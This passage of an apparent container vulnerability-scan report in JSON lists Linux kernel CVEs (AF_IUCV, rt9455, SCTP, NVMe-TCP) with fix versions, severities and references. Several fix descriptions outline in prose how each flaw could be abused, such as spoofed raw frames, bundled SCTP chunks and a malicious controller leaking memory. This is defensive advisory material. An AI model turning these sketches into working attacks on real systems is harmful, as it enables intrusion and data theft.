"https://bugzilla.redhat.com/show_bug.cgi?id=2507399", "https://bugzilla.redhat.com/show_bug.cgi?id=2510890", "https://bugzilla.redhat.com/show_bug.cgi?id=2513481", "https://bugzilla.redhat.com/show_bug.cgi?id=2516527", "https://bugzilla.redhat.com/show_bug.cgi?id=2517043", "https://bugzilla.redhat.com/show_bug.cgi?id=2528676", "https://bugzilla.redhat.com/show_bug.cgi?id=2532176", "https://bugzilla.redhat.com/show_bug.cgi?id=2535391", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53005", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63802", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63831", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64534", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64564", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68201", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74469", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89846", "https://errata.almalinux.org/9/ALSA-2026-71232.html", "https://errata.rockylinux.org/RLSA-2026:71232", "https://git.kernel.org/linus/447c9303942c439a117d9b76ce6d6e2116b38ee7%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-81000.mbox", "https://git.kernel.org/stable/c/010eee265d6bd8769b6a523d2a0693d9b3f5df43", "https://git.kernel.org/stable/c/0ada54ea63e48b9c1608e917ccb7dfadbe86db28", "https://git.kernel.org/stable/c/18ef24cdb2eba32e38f1d27f2d02b7b4212e8f76", "https://git.kernel.org/stable/c/379d85c7f25f3e05a428225e6b8a65613c6e9b9d", "https://git.kernel.org/stable/c/447c9303942c439a117d9b76ce6d6e2116b38ee7", "https://git.kernel.org/stable/c/708e87937de93f445225c134a2e20519f9b4ce60", "https://git.kernel.org/stable/c/ad715e713610d2d5473c3a6498c825ccecf26491", "https://git.kernel.org/stable/c/e098d9cc8859614a7f7baebc96e32a5a16b18ed2", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.3.0/BRSA-mzmgg9jyr6xg.toml", "https://linux.oracle.com/cve/CVE-2026-81000.html", "https://linux.oracle.com/errata/ELSA-2026-71233.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-81000", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-81000" ], "PublishedDate": "2026-09-11T20:19:07.71Z", "LastModifiedDate": "2026-10-19T09:17:33Z" }, { "VulnerabilityID": "CVE-2026-81003", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-81003", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a6ecd73c50eb4a466b8efd1be68f0e070b7af4f30c6c113acbde730ff57f4dc1", "Title": "kernel: net/iucv: filter frames in afiucv_hs_rcv() by ingress device", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/iucv: filter frames in afiucv_hs_rcv() by ingress device\n\nafiucv_hs_rcv() selects a socket from iucv_sk_list by matching four 8-byte\nname fields in the transport header alone. No check is made against the\nnet_device the frame arrived on.\n\nThis can cause a frame arriving on any netdev to be delivered to an AF_IUCV\nsocket. Three problems follow.\n\nFirst, a frame arriving over HiperSockets can be delivered to a socket\nbound to the classic z/VM IUCV transport, which has iucv-\u003ehs_dev == NULL.\niucv_sock_bind() takes the classic path whenever the requested userid\nmatches iucv_userid, even on a guest that also has a HiperSockets device\ncarrying the same identifier. The child socket created by\nafiucv_hs_callback_syn() for such a match inherits hs_dev = NULL and\ntransport = AF_IUCV_TRANS_HIPER, so the first send() on it returns -ENODEV.\nThe socket delivered to accept() is unusable.\n\nSecond, a frame arriving on one netdev can be delivered to a socket bound\nto a different IQD device. Which can lead to\n- Accept-queue exhaustion (DoS)\n- Attacker-controlled peer identity in the child socket\n- Data injection into existing sockets\n- Fabric noise on the IQD fabric, where bogus replies are sent\n- killing established connections\n\nThird, all AF_IUCV sockets live in init_net, as iucv_sock_alloc() calls\nsk_alloc(\u0026init_net, ...). But even frames arriving on netdev devices in a\nnamespace can be delivered to an IUCV socket. So a process in an\nunprivileged user and network namespace holding only the CAP_NET_RAW\ncapability valid within that namespace can send a raw ETH_P_AF_IUCV frame\non its own lo device and have it matched against init_net sockets.\n\nFix all three by skipping any socket whose hs_dev does not match the\ningress device. A classic z/VM IUCV socket has hs_dev == NULL; the ingress\ndev is never NULL, so classic sockets are skipped automatically. An unbound\nHIPER socket also has hs_dev == NULL and is skipped. A bound HIPER socket\nis only reachable from the exact IQD device it was bound to. Because hs_dev\nis always a device in init_net (iucv_sock_bind() scans\nfor_each_netdev_rcu(\u0026init_net, ...) exclusively), a frame whose ingress\ndevice belongs to another namespace never matches any socket.\n\nNote that AF_IUCV over HiperSockets provides no per-connection\nauthentication: no sequence numbers, no TLS, no nonce. The four name fields\nidentifying a connection are exchanged in plaintext on the shared\nHiperSockets segment (VCHID). Any host on the same HiperSockets segment\ncould spoof any frame type against an existing connection. That is a\nprotocol-level property unchanged by this patch. The fix reduces the attack\nsurface to peers present on the same HiperSockets segment.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:83156", "https://access.redhat.com/security/cve/CVE-2026-81003", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492286", "https://bugzilla.redhat.com/2502460", "https://bugzilla.redhat.com/2513234", "https://bugzilla.redhat.com/2513277", "https://bugzilla.redhat.com/2513293", "https://bugzilla.redhat.com/2513299", "https://bugzilla.redhat.com/2516526", "https://bugzilla.redhat.com/2516575", "https://bugzilla.redhat.com/2516606", "https://bugzilla.redhat.com/2521436", "https://bugzilla.redhat.com/2521498", "https://bugzilla.redhat.com/2532279", "https://bugzilla.redhat.com/2532309", "https://bugzilla.redhat.com/2535158", "https://bugzilla.redhat.com/2540182", "https://bugzilla.redhat.com/2540230", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492286", "https://bugzilla.redhat.com/show_bug.cgi?id=2502460", "https://bugzilla.redhat.com/show_bug.cgi?id=2513234", "https://bugzilla.redhat.com/show_bug.cgi?id=2513277", "https://bugzilla.redhat.com/show_bug.cgi?id=2513293", "https://bugzilla.redhat.com/show_bug.cgi?id=2513299", "https://bugzilla.redhat.com/show_bug.cgi?id=2516526", "https://bugzilla.redhat.com/show_bug.cgi?id=2516575", "https://bugzilla.redhat.com/show_bug.cgi?id=2516606", "https://bugzilla.redhat.com/show_bug.cgi?id=2521436", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2532279", "https://bugzilla.redhat.com/show_bug.cgi?id=2532309", "https://bugzilla.redhat.com/show_bug.cgi?id=2532515", "https://bugzilla.redhat.com/show_bug.cgi?id=2535158", "https://bugzilla.redhat.com/show_bug.cgi?id=2540182", "https://bugzilla.redhat.com/show_bug.cgi?id=2540230", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64030", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68377", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68404", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68409", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72288", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72320", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74641", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80985", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89526", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90036", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93207", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93228", "https://errata.almalinux.org/9/ALSA-2026-83156.html", "https://errata.rockylinux.org/RLSA-2026:83156", "https://git.kernel.org/linus/80230a18c164a4b5bbc048fe2768b219ac17bc5a%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-81003.mbox", "https://git.kernel.org/stable/c/0a5af67e7184c6a0e155c317840bd64b37177af4", "https://git.kernel.org/stable/c/639828ad4d374056167391dbaffd13dd5e5e5ddb", "https://git.kernel.org/stable/c/712330f8a4293cfd97b0d62b7c7dc01862a16b98", "https://git.kernel.org/stable/c/80230a18c164a4b5bbc048fe2768b219ac17bc5a", "https://git.kernel.org/stable/c/8e3763f1ccac3fc395f9af2b87114c023ced8a3f", "https://git.kernel.org/stable/c/92e5c281f1caa287bb58292f2687c9e3ff3aa23e", "https://git.kernel.org/stable/c/a7f0130a091724e69827ab58e74777a88747e892", "https://git.kernel.org/stable/c/dfac2936b83be00035ae176f8252e1c1e1de9207", "https://linux.oracle.com/cve/CVE-2026-81003.html", "https://linux.oracle.com/errata/ELSA-2026-89083.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-81003", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-81003" ], "PublishedDate": "2026-09-11T20:19:08.863Z", "LastModifiedDate": "2026-10-19T09:17:33.5Z" }, { "VulnerabilityID": "CVE-2026-89465", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89465", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a2109ef5858466d4a6e259e2ee6a5f813cf85eced986bfc4221ed50b1966a785", "Title": "kernel: power: supply: rt9455: quiesce delayed work before teardown", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npower: supply: rt9455: quiesce delayed work before teardown\n\nThe threaded IRQ handler can queue pwr_rdy_work,\nmax_charging_time_work and batt_presence_work. pwr_rdy_work and\nbatt_presence_work can also queue max_charging_time_work, while\nbatt_presence_work can requeue itself.\n\nrt9455_remove() cancels max_charging_time_work before\nbatt_presence_work. The latter can therefore queue\nmax_charging_time_work after it has already been cancelled:\n\n rt9455_remove() workqueue\n cancel pwr_rdy_work\n cancel max_charging_time_work\n batt_presence_work queues\n max_charging_time_work\n cancel batt_presence_work\n return\n devres frees rt9455_info\n max_charging_time_work dereferences\n rt9455_info\n\nThe IRQ also remains registered until devres cleanup and can queue more\nwork after any of the cancellation calls. If rt9455_hw_init() fails\nafter the IRQ has been requested, probe returns without cancelling work\nthat may already have been queued. A pending callback can then access\nrt9455_info after it has been freed.\n\nRegister rt9455_cancel_all_delayed_works() through\ndevm_add_action_or_reset() right after devm_power_supply_register().\ndevres invokes the action in reverse registration order, after the\nmanaged IRQ has been freed and before rt9455_info is released, so the\ndelayed works are drained in both rt9455_remove() and the probe error\npath. Cancel pwr_rdy_work and batt_presence_work before\nmax_charging_time_work because both can queue the latter.\n\nThis issue was found by an in-house static analysis tool.", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "photon": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89465", "https://git.kernel.org/linus/3e7a1ebc32fad5a558254a478efd401c17a24381%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89465.mbox", "https://git.kernel.org/stable/c/1b9978433c61a9b46e48832a1ebceee1cf5c9eb4", "https://git.kernel.org/stable/c/3def4721431f3e374e1e3124f4d32bb07ae8df1c", "https://git.kernel.org/stable/c/3e7a1ebc32fad5a558254a478efd401c17a24381", "https://git.kernel.org/stable/c/442c60c08ec23ac45da0a58877cab05e0a58f4ea", "https://git.kernel.org/stable/c/7323e562f6961e4b7bce3225cde4ecbc78260deb", "https://git.kernel.org/stable/c/c09a2e4f8f101a44bd786a31696c958473469be0", "https://git.kernel.org/stable/c/c8645073876cbb1cdc8c2b995d093d08facfb187", "https://git.kernel.org/stable/c/df67c7a2fff8414aa766b8cd5ffe11ec1ca27d02", "https://nvd.nist.gov/vuln/detail/CVE-2026-89465", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89465" ], "PublishedDate": "2026-09-11T20:19:27.533Z", "LastModifiedDate": "2026-10-30T13:20:16.893Z" }, { "VulnerabilityID": "CVE-2026-89479", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89479", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4189b1e9b0eb2f3d8703eb5a5f02eb6dcea9f198fe7d7d150351787c859b0bf9", "Title": "kernel: sctp: stop processing a packet once its association is deleted", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: stop processing a packet once its association is deleted\n\nsctp_endpoint_bh_rcv() looks the association up only when chunk-\u003easoc is\nNULL, and caches the result in chunk-\u003easoc and chunk-\u003etransport without\ntaking a reference.\n\nA packet that matches no association is handed to the endpoint, so a peer\ncan bundle COOKIE ECHO, SHUTDOWN and SHUTDOWN ACK in one packet. The\nCOOKIE ECHO creates the association, the SHUTDOWN chunk caches it, and\nwith the outqueue empty the SHUTDOWN ACK reaches sctp_sf_do_9_2_final(),\nso the association and its transports are freed.\n\nThe endpoint loop has no counterpart to the asoc-\u003ebase.dead check in\nsctp_assoc_bh_rcv(). The next chunk writes to last_time_heard in the freed\ntransport and is then passed to sctp_do_sm() with the freed association.\nThe transport is freed through RCU, so this needs the packet to come off\nthe socket backlog, where the loop runs in task context.\n\nThe endpoint loop cannot do the same check: it holds no reference on the\nassociation, so reading asoc-\u003ebase.dead would itself be a use-after-free.\nMark the packet for discard in the command interpreter, just before it\ndeletes the association. That is also before sctp_inq_free() releases the\nchunk on the association receive path.\n\nsctp_sf_do_5_2_4_dupcook() issues SCTP_CMD_DELETE_TCB for the temporary\nassociation, while the one the packet belongs to stays alive. A restarting\npeer can bundle DATA behind its COOKIE ECHO, so compare against\nchunk-\u003easoc and leave that case alone.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:95370", "https://access.redhat.com/security/cve/CVE-2026-89479", "https://bugzilla.redhat.com/2507721", "https://bugzilla.redhat.com/2513314", "https://bugzilla.redhat.com/2515351", "https://bugzilla.redhat.com/2515353", "https://bugzilla.redhat.com/2516278", "https://bugzilla.redhat.com/2516412", "https://bugzilla.redhat.com/2516674", "https://bugzilla.redhat.com/2521384", "https://bugzilla.redhat.com/2521419", "https://bugzilla.redhat.com/2524422", "https://bugzilla.redhat.com/2524442", "https://bugzilla.redhat.com/2524458", "https://bugzilla.redhat.com/2524475", "https://bugzilla.redhat.com/2532290", "https://bugzilla.redhat.com/2532407", "https://bugzilla.redhat.com/2552209", "https://bugzilla.redhat.com/show_bug.cgi?id=2507721", "https://bugzilla.redhat.com/show_bug.cgi?id=2513314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515351", "https://bugzilla.redhat.com/show_bug.cgi?id=2515353", "https://bugzilla.redhat.com/show_bug.cgi?id=2516278", "https://bugzilla.redhat.com/show_bug.cgi?id=2516412", "https://bugzilla.redhat.com/show_bug.cgi?id=2516674", "https://bugzilla.redhat.com/show_bug.cgi?id=2521384", "https://bugzilla.redhat.com/show_bug.cgi?id=2521419", "https://bugzilla.redhat.com/show_bug.cgi?id=2524422", "https://bugzilla.redhat.com/show_bug.cgi?id=2524442", "https://bugzilla.redhat.com/show_bug.cgi?id=2524458", "https://bugzilla.redhat.com/show_bug.cgi?id=2524475", "https://bugzilla.redhat.com/show_bug.cgi?id=2532290", "https://bugzilla.redhat.com/show_bug.cgi?id=2532407", "https://bugzilla.redhat.com/show_bug.cgi?id=2552209", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64541", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68451", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68452", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72080", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72221", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74752", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80553", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80571", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80584", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89488", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98403", "https://errata.almalinux.org/9/ALSA-2026-95370.html", "https://errata.rockylinux.org/RLSA-2026:95370", "https://git.kernel.org/linus/47e15a8d12e366d0d261bcbc394394f44418938d%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89479.mbox", "https://git.kernel.org/stable/c/09c3b193a3e8fe53e1f416e2f8e3283d2a785405", "https://git.kernel.org/stable/c/47e15a8d12e366d0d261bcbc394394f44418938d", "https://git.kernel.org/stable/c/5c0b2dbbdafc9eeeb11fffe1e46551fc3b55d8ee", "https://git.kernel.org/stable/c/7d970353eeb98f46a3b9dc602850e4f6336a9889", "https://git.kernel.org/stable/c/a713e1b3a265f180ad25a08e17be15d67a2f7149", "https://git.kernel.org/stable/c/ed85fe91a61bc0e0da6b585c07102b20f4cc65a0", "https://git.kernel.org/stable/c/ee3f04cf566f6041aa9a0360494fd8db5ade383a", "https://git.kernel.org/stable/c/fa306a40e716c5abcd967475459ce1ebd56e5115", "https://linux.oracle.com/cve/CVE-2026-89479.html", "https://linux.oracle.com/errata/ELSA-2026-95370.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89479", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89479" ], "PublishedDate": "2026-09-11T20:19:29.337Z", "LastModifiedDate": "2026-10-19T09:17:41.043Z" }, { "VulnerabilityID": "CVE-2026-89481", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89481", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:87bbf286d0a683c2ccbeea22495fde4c0fc46291dcd0395fe043288d57eacda4", "Title": "kernel: nvme-tcp: fix host memory disclosure on R2T for a read command", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvme-tcp: fix host memory disclosure on R2T for a read command\n\nnvme_tcp_handle_r2t() does not check the direction of the request the\nR2T refers to. A malicious controller can send an R2T for a READ and\nthe host will answer it: nvme_tcp_setup_h2c_data_pdu() builds the\nH2CData header and nvme_tcp_try_send_data() sends the request's data\nbuffer. That buffer is the READ destination, so its contents go to the\ncontroller.\n\nThe command then completes normally and nothing is logged.\n\nAgainst a test controller that answers every READ with an R2T, a 4096\nbyte buffered read returned all 4096 bytes, split over two R2Ts. The\npages contained stale kernel data, including an array of struct page\npointers.\n\nReject an R2T for a request that is not a write.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-89481", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", 